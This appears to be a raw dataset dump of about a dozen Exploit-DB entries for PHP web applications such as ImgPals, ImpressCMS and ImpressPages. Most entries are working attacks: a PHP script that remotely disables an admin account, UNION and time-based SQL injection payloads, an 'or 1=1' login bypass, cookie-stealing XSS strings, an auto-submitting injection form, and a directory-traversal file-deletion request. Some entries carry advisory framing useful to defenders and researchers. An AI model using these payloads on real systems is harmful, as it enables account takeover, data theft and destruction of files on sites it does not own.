deardaniel/secdata-raw huggingface dataset:
Exploit-DB #18544
Description: ImgPals Photo Host 1.0 - Admin Account Disactivation
Type: webapps
Platform: php
Date: 2012-02-29
Author: CorryL

Exploit:
-=[--------------------ADVISORY-------------------]=-

ImgPals Photo Host Version 1.0 STABLE

Author: Corrado Liotta Aka CorryL [corryl80@gmail.com]
-=[-----------------------------------------------]=-


-=[+] Application: ImgPals Photo Host
-=[+] Version: 1.0 STABLE
-=[+] Vendor's URL: http://www.imgpals.com/forum/
-=[+] Platform: Windows\Linux\Unix
-=[+] Bug type: Admin Account Disactivation
-=[+] Exploitation: Remote
-=[-]
-=[+] Author: Corrado Liotta Aka CorryL ~ corryl80[at]gmail[dot]com ~
-=[+] Facebook: https://www.facebook.com/CorryL
-=[+] Twitter: https://twitter.com/#!/CorradoLiotta
-=[+] Linkedin: http://it.linkedin.com/pub/corrado-liotta/21/1a8/611

...::[ Descriprion ]::..

I released the ImgPals Photo Host Version 1.0 STABLE


Features Include:

    * Easy Install
    * Full README file included
    * Full Control Panel to control your site
    * User Side Features
          o Multiple JQuery Uploads
          o Create and Edit Photo Albums
          o Make Albums Public or Private
          o Describe Albums and Photos
          o Move, Delete, Rename, Rotate, Rate, Comment, and Tag Photos
          o Add Friends
          o Chat with Friends
          o Update people with status wall posting
          o Manage Profile
          o Profile Avatar Uploads
          o Private Messaging
    * And much more, be sure to check out the Demo


...::[ Bug ]::..

A attaker can remotely disable the account from administratore not
allowing the same to be able to access the site

...::[ Proof Of Concept ]::..

 if ($_GET['a'] == 'app0'){
                 $sqlapprove = mysql_query("UPDATE members SET
approved = '0' WHERE id = '".$_GET['u']."'");

by sending the command approve.php? u = a = 1 & app0 a attaker can
disable the Administrator account.

...::[ Exploit ]::..

#!/usr/bin/php -f
<?php


//Coded by Corrado Liotta For educational purpose only
//use php exploit.php server app0 or app1
//use app0 for admin account off
//use app1 for admin account on

$target = $argv[1];
$power = $argv[2]

$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_URL, "http://$target/approve.php?u=1&a=$power");
curl_setopt($ch, CURLOPT_HTTPGET, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE
5.01; Windows NT 5.0)");
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_TIME, 3);
curl_setopt($ch, CURLOPT_COOKIEJAR, "/tmp/cookie_$target");
$buf = curl_exec ($ch);
curl_close($ch);
unset($ch);

echo $buf;
?>
Exploit-DB #52025
Description: iMLog < 1.307 - Persistent Cross Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2024-05-31
Author: Gabriel Felipe

Exploit:
# Exploit Title: iMLog < 1.307 - Persistent Cross Site Scripting (XSS)
# Date: 22/5/2024
# Exploit Author: Gabriel Felipe
# Vendor Homepage: https://itssglobal.com
# Software Link: https://itssglobal.com/index.php/imlog/
# Version: 1.307
# Tested on: Firefox and Chrome Browsers
# Patched Version: 1.308
# Category: Web Application
# PoC:

iMLog < 1.307 is vulnerable to persistent cross-site scripting (XSS) via the "User Management" feature. An attacker could inject malicious javascript code on a controlled user so when an admin goes to the "User Maintenance" malicious code is executed and could lead to new admin user creations resulting in privilege escalation.

1. Login to user account
2. Go to Setup > "User Maintenance"
3. Click on "Search" and then select your UserID.
4. Change the "Last Name" input to `<img/src/onerror=prompt('XSS')>`
5. Click on "Save"
6. Refresh the page, XSS will be triggered.
Exploit-DB #15754
Description: Immo Makler Script - SQL Injection
Type: webapps
Platform: php
Date: 2010-12-17
Author: Easy Laster

Exploit:
----------------------------Information------------------------------------------------
+Name : Immo Makler <=  SQL injection Vulnerability Proof of Concept
+Autor : Easy Laster
+Date   : 17.12.2010
+Script  : Immo Makler
+Vendor " http://www.mhproducts.de/
+Price : 199,00 
+Language : PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project.com
+Greetz to Team-Internet ,Underground Agents and free-hack.com
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr.ChAoS,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101,s0red,c1ox,enco.
 
---------------------------------------------------------------------------------------
                                                                                      
 ___ ___ ___ ___                         _ _           _____           _         _  
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_| 
                                              |___|                 |___|           
 
 
----------------------------------------------------------------------------------------
+Proof of Concept
+Table Name => user
+Column names => userid,name,pass,email
+SQL Injection Vulnerability => news.php?id=-1+union+select+1,2,3,4,5,concat(version
()),7,8,9+from+user--
----------------------------------------------------------------------------------------
Exploit-DB #35866
Description: Immophp 1.1.1 - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2011-06-18
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/48341/info

Immophp is prone to a cross-site scripting vulnerability and multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Immophp 1.1.1 is vulnerable; other versions may also be affected. 

SQL-injection:

http://www.example.com/index.php?page=-2%20uniuon%20select%201,2,3,version(),5--
http://www.example.com/annonce_detail.php?annonce=-2%20union%20all%20select%20group_concat(table_name)%20from%20information_schema.tables%20where%

Cross-site scripting:

http://www.example.com/annonce.php?secteur= %3cscript%3ealert%3c&#039;31337&#039;%3e%3b%3c%2fscript%3e
Exploit-DB #34389
Description: Impact Software AdPeeps - Cross-Site Scripting / HTML Injection
Type: webapps
Platform: php
Date: 2010-07-27
Author: Matt

Exploit:
source: https://www.securityfocus.com/bid/42071/info

Impact Software Ad Peeps is prone to multiple cross-site scripting vulnerabilities and multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code could run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Ad Peeps 8.5d1 is vulnerable; other versions may also be affected. 

http://www.example.com/adpeeps/index.php?uid="><script>alert(0)</script>
http://www.example.com/adpeeps/index.php?loc=login_lookup&uid="><script>alert(0)</script>
http://www.example.com/adpeeps/index.php?loc=adminlogin&uid="><script>alert(0)</script>
http://www.example.com/adpeeps/index.php?loc=createcampaign&mode=new&uid=100000&c ampaignid="><script>alert(0)</script>
http://www.example.com/adpeeps/index.php?loc=view_account_stats&uid=100000&type=" ><script>alert(2)</script>&period="><script>alert(1)</script>
http://www.example.com/adpeeps/index.php?loc=view_adrates&uid="><script>alert(0)</script>
http://www.example.com/adpeeps/index.php?loc=account_confirmation&accname="><scri pt>alert(1)</script>&loginpass="><script>alert(2)</script>&uid=100000
http://www.example.com/adpeeps/index.php?loc=setup_account&e6=new&e12=bypass&e9=" ><script>alert(0)</script>
http://www.example.com/adpeeps/index.php?loc=email_advertisers&uid=100000&mode=1& errors=&from="><script>alert(1)</script>&message=&subject="><script>alert(2)</script>
http://www.example.com/adpeeps/index.php?loc=edit_ad_package&uid=100000&idno="><s cript>alert(0)</script>
Exploit-DB #8947
Description: impleo music Collection 2.0 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-06-15
Author: SirGod

Exploit:
#################################################################################################################
[+] Impleo Music Collection 2.0 (SQL/XSS) Multiple Remote Vulnerabilities
[+] Download: http://sappy.dk/impleo/download-impleo
[+] Discovered By SirGod 
[+] www.mortal-team.org
#################################################################################################################

[+] SQL Injection ( Auth Bypass )

- Requirements : magic_quotes_gpc = off

- Vulnerable code in /admin/login.php

-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
 $postbruger = $_POST['username'];
 $postpass = md5($_POST['password']); 
 $resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = '$postbruger' AND [CREDENTIAL_REDACTED]'") 
or die("<p>" . mysql_error() . "</p>\n");
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

- PoC 

  Login Username : admin ' or ' 1=1
  Login [CREDENTIAL_REDACTED]


[+] Cross Site Scripting

- PoC 

    http://127.0.0.1/[path]/index.php?sort="><script>alert(document.cookie)</script>

#################################################################################################################

# milw0rm.com [2009-06-15]
Exploit-DB #35134
Description: ImpressCMS 1.2.x - 'quicksearch_ContentContent' HTML Injection
Type: webapps
Platform: php
Date: 2010-12-21
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/45541/info

ImpressCMS is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

ImpressCMS 1.2.3 Final is vulnerable; other versions may also be affected. 

<form action="http://www.example.com/modules/content/admin/content.php" method="post" name="main">
<input type="hidden" name="quicksearch_ContentContent" value=&#039;search"><script>alert(document.cookie)</script>&#039;>
<input type="hidden" name="button_quicksearch_ContentContent" value="Search">
<input type="hidden" name="filtersel" value="default">
<input type="hidden" name="limitsel" value="15">
</form>
<script>
document.main.submit();
</script>
Exploit-DB #46239
Description: ImpressCMS 1.3.11 - 'bid' SQL Injection
Type: webapps
Platform: php
Date: 2019-01-24
Author: Mehmet Onder

Exploit:
# Title: ImpressCMS 1.3.11 - 'bid' SQL Injection
# Date: 21.01.2019
# Exploit Author: Mehmet Onder Key
# Vendor Homepage: http://www.impresscms.org/
# Software Link:
https://sourceforge.net/projects/impresscms/files/v1.3.11/impresscms_1.3.11.zip
# Version: v1.3.11
# Category: Webapps
# Tested on: WAMPP @Win
# Software description:
ImpressCMS is a community developed Content Management System. With this
tool maintaining the content of a website becomes as easy as writing a word
document. ImpressCMS is the ideal tool for a wide range of users: from
business to community users, from large enterprises to people who want a
simple, easy to use blogging tool.

# Vulnerabilities:
# An attacker can access all data following an un/authorized user login
using the parameter.


# POC - SQLi :

# Parameter: bid (POST)
# Request URL: http://localhost/impress/modules/system/admin.php?bid=12

#    Type : time-based blind
bid=12') AND SLEEP(5) AND ('Bjhx'='Bjhx&fct=blocksadmin&op=up&rtn=Lw==
Exploit-DB #39737
Description: ImpressCMS 1.3.9 - SQL Injection
Type: webapps
Platform: php
Date: 2016-04-26
Author: Manuel García Cárdenas

Exploit:
=============================================
MGC ALERT 2016-002
- Original release date: April 8, 2016
- Last revised:  April 21, 2016
- Discovered by: Manuel García Cárdenas
- Severity: 7,1/10 (CVSS Base Score)
=============================================

I. VULNERABILITY
-------------------------
Time-based SQL Injection in Admin panel ImpressCMS <= v1.3.9

II. BACKGROUND
-------------------------
ImpressCMS is a community developed Content Management System for easily
building and maintaining a dynamic web site.

III. DESCRIPTION
-------------------------
This bug was found using the portal with authentication as administrator.
To exploit the vulnerability only is needed use the version 1.0 of the HTTP
protocol to interact with the application.

It is possible to inject SQL code in the variable
"quicksearch_mod_profile_Field" on the page
"/modules/profile/admin/field.php".

IV. PROOF OF CONCEPT
-------------------------
The following URL's and parameters have been confirmed to all suffer from
Time Based Blind SQL injection.

quicksearch_mod_profile_Field=aaaa') AND (SELECT * FROM
(SELECT(SLEEP(1)))IRLV) AND ('DhUh' LIKE
'DhUh&button_quicksearch_mod_profile_Field=Search&filtersel=default&limitsel=15

quicksearch_mod_profile_Field=aaaa') AND (SELECT * FROM
(SELECT(SLEEP(5)))IRLV) AND ('DhUh' LIKE
'DhUh&button_quicksearch_mod_profile_Field=Search&filtersel=default&limitsel=15

V. BUSINESS IMPACT
-------------------------
Public defacement, confidential data leakage, and database server
compromise can result from these attacks. Client systems can also be
targeted, and complete compromise of these client systems is also possible.

VI. SYSTEMS AFFECTED
-------------------------
ImpressCMS <= v1.3.9

VII. SOLUTION
-------------------------
Install vendor patch.

VIII. REFERENCES
-------------------------
http://www.impresscms.org/

IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel García Cárdenas (advidsec (at) gmail (dot) com).

X. REVISION HISTORY
-------------------------
April 8, 2016 1: Initial release
April 21, 2016 2: Revision to send to lists

XI. DISCLOSURE TIMELINE
-------------------------
April 8, 2016 1: Vulnerability acquired by Manuel Garcia Cardenas
April 8, 2016 2: Send to vendor
April 15, 2016 3: New contact to vendor with no response
April 21, 2016 4: Send to the Full-Disclosure lists

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.

XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester
Exploit-DB #51056
Description: ImpressCMS v1.4.3 - Authenticated SQL Injection
Type: webapps
Platform: php
Date: 2023-03-25
Author: Sarang Tumne

Exploit:
# Exploit Title: Authenticated Sql Injection in ImpressCMS v1.4.3
# Exploit Author: Sarang Tumne @CyberInsane (Twitter: @thecyberinsane)
# Date: 7th March 2022
# CVE ID: CVE-2022-26986
# Confirmed on release 1.4.3, this vulnerability is patched in the version 1.4.4 and above...
# Vendor: https://www.impresscms.org
# Source: https://github.com/ImpressCMS/impresscms/releases/tag/v1.4.3

###############################################
#Step1- Login with Admin Credentials
#Step2- Vulnerable Parameter to SQLi: mimetypeid (POST request):

POST /ImpressCMS/htdocs/modules/system/admin.php?fct=mimetype&op=mod&mimetypeid=1 HTTP/1.1
Host: 192.168.56.117
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]540748701
Content-Length: 1011
Origin: http://192.168.56.117
Connection: close
Referer: http://192.168.56.117/ImpressCMS/htdocs/modules/system/admin.php?fct=mimetype&op=mod&mimetypeid=1
Cookie: tbl_SystemMimetype_sortsel=mimetypeid; tbl_limitsel=15; tbl_SystemMimetype_filtersel=default; ICMSSESSION=7c9f7a65572d2aa40f66a0d468bb20e3
Upgrade-Insecure-Requests: 1

----------------------------[PII_REDACTED][PII_REDACTED]540748701
Content-Disposition: form-data; name="mimetypeid"

1 AND (SELECT 3583 FROM (SELECT(SLEEP(5)))XdxE)
----------------------------[PII_REDACTED][PII_REDACTED]540748701
Content-Disposition: form-data; name="extension"

bin
----------------------------[PII_REDACTED][PII_REDACTED]540748701
Content-Disposition: form-data; name="types"

application/octet-stream
----------------------------[PII_REDACTED][PII_REDACTED]540748701
Content-Disposition: form-data; name="name"

Binary File/Linux Executable
----------------------------[PII_REDACTED][PII_REDACTED]540748701
Content-Disposition: form-data; name="icms_page_before_form"

http://192.168.56.117/ImpressCMS/htdocs/modules/system/admin.php?fct=mimetype
----------------------------[PII_REDACTED][PII_REDACTED]540748701
Content-Disposition: form-data; name="op"

addmimetype
----------------------------[PII_REDACTED][PII_REDACTED]540748701
Content-Disposition: form-data; name="modify_button"

Submit
----------------------------[PII_REDACTED][PII_REDACTED]540748701--

Vulnerable Payload:
1 AND (SELECT 3583 FROM (SELECT(SLEEP(5)))XdxE)   //time-based blind (query SLEEP)

Output:
web application technology: Apache 2.4.52, PHP 7.4.27
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
available databases [6]:
[*] impresscms
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] test
Exploit-DB #50890
Description: ImpressCMS v1.4.4 - Unrestricted File Upload
Type: webapps
Platform: php
Date: 2022-05-11
Author: Ünsal Furkan Harani

Exploit:
# Exploit Title: ImpressCMS v1.4.4 - Unrestricted File Upload
# Date: 7/4/2022
# Exploit Author: Ünsal Furkan Harani (Zemarkhos)
# Vendor Homepage: https://www.impresscms.org/
# Software Link: https://github.com/ImpressCMS/impresscms
# Version: v1.4.4

# Description:
Between lines 152 and 162, we see the function "extensionsToBeSanitized".Since the blacklist method is weak, it is familiar that the file can be uploaded in the extensions mentioned below.

.php2, .php6, .php7, .phps, .pht, .pgif, .shtml, .htaccess, .phar, .inc

Impresscms/core/File/MediaUploader.php Between lines 152 and 162:
private $extensionsToBeSanitized = array('php','phtml','phtm','php3','php4','cgi','pl','asp','php5');
Exploit-DB #34053
Description: ImpressPages CMS 1.0x - 'admin.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2010-05-28
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/40431/info

ImpressPages CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

ImpressPages CMS 1.0.4 is vulnerable; prior versions may also be affected. 

The following example URIs are available:

http://www.example.com/admin.php?module_id=329&security_token=$valid_token&page[0]=&page_size[0]=200+ANY_SQL_HERE+--++

http://www.example.com/admin.php?module_id=329&security_token=$valid_token&sort_field[1]=&email+ANY_SQL_HERE+--+&sort_dir[1]=asc
Exploit-DB #29328
Description: ImpressPages CMS 3.6 - Arbitrary File Deletion
Type: webapps
Platform: php
Date: 2013-11-01
Author: LiquidWorm

Exploit:

ImpressPages CMS v3.6 Remote Arbitrary File Deletion Vulnerability


Vendor: ImpressPages UAB
Product web page: http://www.impresspages.org
Affected version: 3.6

Summary: ImpressPages CMS is an open source web content
management system with revolutionary drag & drop interface.

Desc: Input passed to the 'files[0][file]' parameter in 
'/ip_cms/modules/administrator/repository/controller.php'
is not properly sanitised before being used to delete files.
This can be exploited to delete files with the permissions
of the web server via directory traversal sequences passed
within the affected POST parameter.

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2
           PHP 5.4.7
           MySQL 5.5.25a


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2013-5158
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5158.php

Vendor: http://www.impresspages.org/blog/impresspages-cms-3-7-is-mobile-as-never-before/



12.10.2013

--


POST /impresspages/ HTTP/1.1
Host: localhost
Proxy-Connection: keep-alive
Content-Length: 387
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://localhost
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.69 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/impresspages/?cms_action=manage
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Cookie: ses819=k7e9hu9pk4ol4h9l0lbt5q73u1

g=administrator&m=repository&a=deleteFiles&files%5B0%5D%5BfileName%5D=readme.txt&files%5B0%5D%5Bdir%5D=file%2Frepository%2F&files%5B0%5D%5Bfile%5D=/../../../joxy.txt&files%5B0%5D%5Bext%5D=txt&files%5B0%5D%5Bpreview%5D=ip_cms%2Fmodules%2Fadministrator%2Frepository%2Fpublic%2Fadmin%2Ficons%2Fgeneral.png&files%5B0%5D%5Bmodified%5D=[PII_REDACTED]&securityToken=c029f7293955df089676b78af8222d2a